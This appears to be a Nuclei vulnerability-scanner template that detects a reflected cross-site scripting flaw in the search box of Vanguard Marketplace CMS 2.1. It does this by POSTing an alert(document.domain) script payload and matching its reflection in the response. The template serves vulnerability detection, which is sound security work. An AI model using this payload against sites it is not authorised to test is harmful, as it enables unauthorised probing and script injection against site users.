id: vanguard-post-xss

info:
  name: Vanguard Marketplace CMS 2.1 - Cross-Site Scripting
  author: ImNightmaree
  severity: high
  description: Vanguard Marketplace CMS 2.1 contains a cross-site scripting vulnerability in the message and product title tags and in the product search box.
  reference:
    - https://packetstormsecurity.com/files/157099/Vanguard-2.1-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: vanguard,xss,packetstorm,vuln

http:
  - raw:
      - |
        POST /search HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        phps_query=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205433fa0a41ce22ee20b4954836f06554c2a5eee31a4b3633f0cfdbc85ae87dc30221008f23d9c87f152382bf3c184ddba925ace35c47e67e05f0e776679b1f91fc806b:922c64590222798bb761d5b6d8e72950